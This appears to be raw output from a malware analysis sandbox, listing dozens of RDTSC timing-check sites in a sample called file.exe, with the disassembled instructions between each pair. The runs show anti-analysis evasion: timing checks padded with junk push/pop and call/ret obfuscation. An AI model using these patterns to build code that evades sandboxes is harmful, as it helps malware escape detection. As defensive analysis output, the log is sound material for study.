Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF238E second address: EF2397 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2674 second address: EF267A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF267A second address: EF269C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jbe 00007F0580C30A81h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F0580C30A76h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF269C second address: EF26A6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0580563BA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4B8E second address: EF4BB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0580C30A81h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5088 second address: EF508E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF508E second address: EF50B2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0580C30A85h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF50B2 second address: EF50C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580563BACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF519F second address: EF51A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF51A3 second address: EF51AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5267 second address: EF52AE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0580C30A7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007F0580C30A83h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F0580C30A89h 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF52AE second address: EF52C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F0580563BADh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF52C3 second address: EF52D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jnc 00007F0580C30A80h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0758 second address: EC075E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC075E second address: EC0763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE5EB second address: EFE608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580563BB9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE608 second address: EFE612 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0580C30A76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01A1E second address: F01A4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0580563BB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01B54 second address: F01B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02354 second address: F0235A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0268A second address: F0268E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0268E second address: F02698 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02698 second address: F0269D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0269D second address: F026A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02748 second address: F0274C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02DAD second address: F02DB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02DB3 second address: F02DCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0580C30A85h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F038C2 second address: F038CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F038CE second address: F038D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03730 second address: F03734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0697B second address: F069F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0580C30A7Ah 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F0580C30A78h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+12459ED3h] 0x0000002f push 00000000h 0x00000031 xor dword ptr [ebp+122D1F6Ch], ecx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007F0580C30A78h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 00000016h 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 movzx edi, si 0x00000056 xchg eax, ebx 0x00000057 jl 00007F0580C30A7Ah 0x0000005d push ebx 0x0000005e pushad 0x0000005f popad 0x00000060 pop ebx 0x00000061 push eax 0x00000062 pushad 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07433 second address: F07448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0580563BB0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07448 second address: F07482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0580C30A81h 0x0000000e pop edx 0x0000000f nop 0x00000010 mov edi, edx 0x00000012 push 00000000h 0x00000014 mov edi, dword ptr [ebp+122D2A0Eh] 0x0000001a push 00000000h 0x0000001c jo 00007F0580C30A7Ch 0x00000022 mov esi, dword ptr [ebp+122D2B02h] 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push esi 0x0000002d pop esi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CF15 second address: F0CF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0580563BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CF1F second address: F0CF61 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, edi 0x00000011 push 00000000h 0x00000013 jno 00007F0580C30A76h 0x00000019 push 00000000h 0x0000001b call 00007F0580C30A89h 0x00000020 adc bl, FFFFFFE2h 0x00000023 pop ebx 0x00000024 xchg eax, esi 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jp 00007F0580C30A76h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CF61 second address: F0CF6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F0580563BA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FFEC second address: F0FFF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0876A second address: F08783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A061 second address: F0A066 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B009 second address: F0B03B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F0580563BA8h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F0580563BAFh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0580563BB1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C098 second address: F0C09C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11051 second address: F11055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C09C second address: F0C0AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D129 second address: F0D12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11055 second address: F1105B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1020F second address: F10213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F16C second address: F0F171 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C0AE second address: F0C0B3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1105B second address: F1106D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0580C30A78h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11FEA second address: F11FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11FEE second address: F11FF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11FF5 second address: F12080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jp 00007F0580563BAEh 0x0000000e nop 0x0000000f jng 00007F0580563BACh 0x00000015 or dword ptr [ebp+122D1BB8h], ecx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F0580563BA8h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov di, ax 0x0000003a mov bh, 3Ch 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F0580563BA8h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000014h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 call 00007F0580563BB1h 0x0000005d mov edi, dword ptr [ebp+12460AC8h] 0x00000063 pop edi 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 push edi 0x00000068 push edx 0x00000069 pop edx 0x0000006a pop edi 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12080 second address: F12098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580C30A84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12098 second address: F1209C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1123F second address: F11243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11243 second address: F11249 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1423E second address: F14242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1739F second address: F173BA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0580563BB0h 0x00000008 jmp 00007F0580563BAAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18241 second address: F18245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18245 second address: F1825B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007F0580563BAAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F164DE second address: F164F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0580C30A7Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F133C5 second address: F13441 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c and ebx, dword ptr [ebp+122D203Bh] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 movsx edi, bx 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 or ebx, dword ptr [ebp+122D2976h] 0x00000029 mov ebx, dword ptr [ebp+122D2C36h] 0x0000002f mov eax, dword ptr [ebp+122D0D3Dh] 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007F0580563BA8h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f jmp 00007F0580563BADh 0x00000054 push FFFFFFFFh 0x00000056 nop 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13441 second address: F13445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F164F5 second address: F164F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13445 second address: F1346C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F0580C30A81h 0x0000000c jmp 00007F0580C30A7Bh 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0580C30A7Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19128 second address: F1912F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F164F9 second address: F164FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1346C second address: F13472 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F174CF second address: F174ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jbe 00007F0580C30A7Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1758A second address: F17597 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1930D second address: F19340 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0580C30A83h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F0580C30A82h 0x00000011 je 00007F0580C30A7Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21D8C second address: F21DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F0580563BC0h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F0580563BA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21DB9 second address: F21DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21789 second address: F217C7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f je 00007F0580563BA6h 0x00000015 popad 0x00000016 jno 00007F0580563BC0h 0x0000001c popad 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F217C7 second address: F217E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F219A6 second address: F219AC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F285A6 second address: F285B0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F285B0 second address: F285CB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0580563BACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F0580563BA8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28696 second address: F286A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F0580C30A76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D07C second address: F2D082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D082 second address: F2D092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D092 second address: F2D096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C2F4 second address: F2C2FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C2FB second address: F2C316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580563BB5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C5E3 second address: F2C5E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C5E9 second address: F2C5F3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0580563BACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C769 second address: F2C786 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F0580C30A7Fh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CA84 second address: F2CAA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0580563BB4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push edx 0x0000000d js 00007F0580563BACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CAA8 second address: F2CABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F0580C30A7Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CC0E second address: F2CC14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CD82 second address: F2CD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
